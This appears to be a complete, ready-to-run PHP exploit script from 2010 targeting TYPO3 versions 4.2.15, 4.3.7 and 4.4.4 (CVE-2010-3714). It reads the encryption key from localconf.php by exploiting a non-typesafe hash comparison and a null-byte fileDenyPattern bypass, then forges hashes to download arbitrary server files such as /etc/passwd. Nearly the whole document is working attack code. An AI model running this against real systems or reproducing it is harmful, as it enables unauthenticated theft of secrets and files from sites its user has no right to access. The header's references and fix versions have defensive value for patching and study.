|
<?php /* TYPO3-SA-2010-022.php * Exploit Title: TYPO3 Unauthenticated Arbitrary File Retrieval (TYPO3-SA-2010-020, TYPO3-SA-2010-022) * Date: 29/12/2010 * Author: ikki * Software Link: http://typo3.org/download/, http://sourceforge.net/projects/typo3/files/ * Version: 4.2.15, 4.3.7 or 4.4.4 * Tested on: php * CVE : CVE-2010-3714 (non-typesafe comparison flaw), n/a (fileDenyPattern bypass) * A demonstration video for this vulnerability is also available here: http://www.ikkisoft.com/stuff/TYPO3-SA-2010-020_video.htm * * @_ikki * * TYPO3 Unauthenticated Arbitrary File Retrieval (TYPO3-SA-2010-020, plus TYPO3-SA-2010-022) * * Exploiting a non-typesafe comparison flaw, a remote aggressor can access arbitrary files * on a vulnerable system. Authentication is not required to exploit this vulnerability. * Moreover, a "fileDenyPattern" bypass has been implemented in order to speed up the attack. * * References: * - http://typo3.org/teams/security/security-bulletins/typo3-sa-2010-020/ * - http://bugs.typo3.org/view.php?id=15898 * - http://php.net/manual/en/language.operators.comparison.php * - http://blog.nibblesec.org/2010/12/unspecified-vulnerabilities.html ("least disclosure" rant) * * Fix: Update to the TYPO3 versions 4.2.16, 4.3.9, 4.4.5 or newer * Credits: Gregor Kopf for finding the neat non-typesafe comparison flaw, Michał Trojnara for his daily tips */
define("VERSION","0.2"); /* v0.2 * - HTTP and HTTPS support (without verifying the peer's certificate) * - File retrieval, just after the initial encryption key disclosure * - Proxy support * - (Dirty) multi requests support (using curl multi_requests) * - Preliminary checks */ define("DEBUG",FALSE); if(!defined("STDIN")) define("STDIN", fopen('php://stdin','r')); if(!defined("STDERR")) define("STDERR", fopen('php://stderr','r'));
/* Turn on/off all error reporting */ DEBUG ? error_reporting(E_ALL) : error_reporting(0); set_time_limit(0);
/* Main */ echo("\n\n :: [ TYPO3-SA-2010-022.php v".VERSION." ] :: \n\n");
if($argc=="3"){ $typo=$argv[1]; $reqs=$argv[2]; //Uwaga! Too many requests may even slow down the attack }else if($argc=="4"){ $typo=$argv[1]; $reqs=$argv[2]; //Uwaga! Too many requests may even slow down the attack $proxy=$argv[3]; }else{ echo "Usage: php ".$argv[0]." TYPO3ValidURL ParallelRequests (Proxy)\n\n"; echo "Examples:\r\n"; echo "php ".$argv[0]." http://127.0.0.1/index.php?id=2 9\n"; echo "php ".$argv[0]." https://127.0.0.1/index.php?id=15 9\n"; echo "php ".$argv[0]." http://127.0.0.1:8080/index.php?id=223 12\n"; echo "php ".$argv[0]." http://127.0.0.1/index.php?id=223 12 http://127.0.0.1:8181\n\n"; exit; }
$url=substr($typo,0,strpos($typo,"id=")-1); $id=substr($typo,strpos($typo,"id=")+3); $locationData=$id.":"; $jumpurl="typo3conf/ext/../localconf.php%00"; //Null byte and directory move up trick the fileDenyPattern mechanism $juHash="0"; // "0" is a numeric string, converted internally to 0 (int) by PHP during comparisons
/* STEP 1 - Check the remote TYPO3 installation */ $ch=curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); DEBUG ? curl_setopt($ch, CURLOPT_VERBOSE, TRUE):curl_setopt($ch, CURLOPT_VERBOSE, FALSE); curl_setopt($ch, CURLOPT_POST, 1); if(isset($proxy)){ curl_setopt($ch, CURLOPT_PROXY, $proxy); } curl_setopt($ch, CURLOPT_POSTFIELDS,"id=".$id."&type=0&jumpurl=".$jumpurl."&juSecure=1&locationData=".$locationData."&juHash=".$juHash); $output=curl_exec($ch);
if(stristr($output,"did not match")) { echo("[*] TYPO3 successfully detected!\n"); }else{ echo("[!] A problem occurred while detecting the remote TYPO3 installation\n"); exit; } curl_close ($ch);
/* STEP 2 - Retrieve $TYPO3_CONF_VARS['SYS']['encryptionKey'] from /typo3conf/localconf.php */ $mh = curl_multi_init(); $handles = array(); $location = $locationData; //locationData with padding
for($i=0;$i<$reqs;$i++){ $ch = curl_init(); //create a new single curl handle curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_POST, 1); if(isset($proxy)){ curl_setopt($ch, CURLOPT_PROXY, $proxy); } $location = "%20".$location; curl_setopt($ch, CURLOPT_POSTFIELDS,"id=".$id."&type=0&jumpurl=".$jumpurl."&juSecure=1&locationData=".$location."&juHash=".$juHash);
curl_multi_add_handle($mh,$ch); $handles[] = $ch; // put the handles in an array to loop }
echo("[*] Starting TYPO3's encryption key retrieval\n"); echo("[*] Padding locationData to force '0exxxxxx' strings. It may take a while.");
$rcont=0; while(!stristr($output,"TYPO3_CONF_VARS['SYS']['encryptionKey']")){ $running=null; do{ curl_multi_exec($mh,$running); } while ($running > 0);
for($i=0;$i<count($handles);$i++){ $output = curl_multi_getcontent($handles[$i]); $location="%20".$location; curl_multi_remove_handle($mh,$handles[$i]); curl_setopt($handles[$i], CURLOPT_POSTFIELDS,"id=".$id."&type=0&jumpurl=".$jumpurl."&juSecure=1&locationData=".$location."&juHash=".$juHash); curl_multi_add_handle($mh,$handles[$i]); $rcont++; echo("."); } }
curl_multi_remove_handle($mh,$handles[$i]); curl_multi_close($mh);
$key=substr($output,strpos($output,"TYPO3_CONF_VARS['SYS']['encryptionKey'] = '")+43); $key=substr($key,0,strpos($key,"';")); echo("\n[*] Done! ".$rcont." requests\n"); echo("\n[*] TYPO3's encryption key:".$key."\n");
/* STEP 3 - Retrieve arbitrary files */ while(!0) { echo("\n[*] Which file do you want to download?\n"); echo("[*] Please make your selection (e.g. '/etc/passwd'):\n\n"); $jumpurl=trim(fgets(STDIN,256)); /* Generate a valid hash as in the TYPO3 codebase*/ $hArr= array($jumpurl,$locationData,$key); $juHash=substr(md5(serialize($hArr)),0,10);;
$ch=curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); DEBUG ? curl_setopt($ch, CURLOPT_VERBOSE, TRUE):curl_setopt($ch, CURLOPT_VERBOSE, FALSE); curl_setopt($ch, CURLOPT_POST, 1); if(isset($proxy)){ curl_setopt($ch, CURLOPT_PROXY, $proxy); } curl_setopt($ch, CURLOPT_POSTFIELDS,"id=".$id."&type=0&jumpurl=".$jumpurl."&juSecure=1&locationData=".$locationData."&juHash=".$juHash); $output=curl_exec($ch);
echo("\n[*]------------------------------------------------------------------------------\n\n"); if(!stristr($output,"not a valid")) echo $output; else echo("[!] An error occurred while retriving '".$jumpurl."'\n"); echo("\n\n[*]------------------------------------------------------------------------------\n");
curl_close ($ch); }
|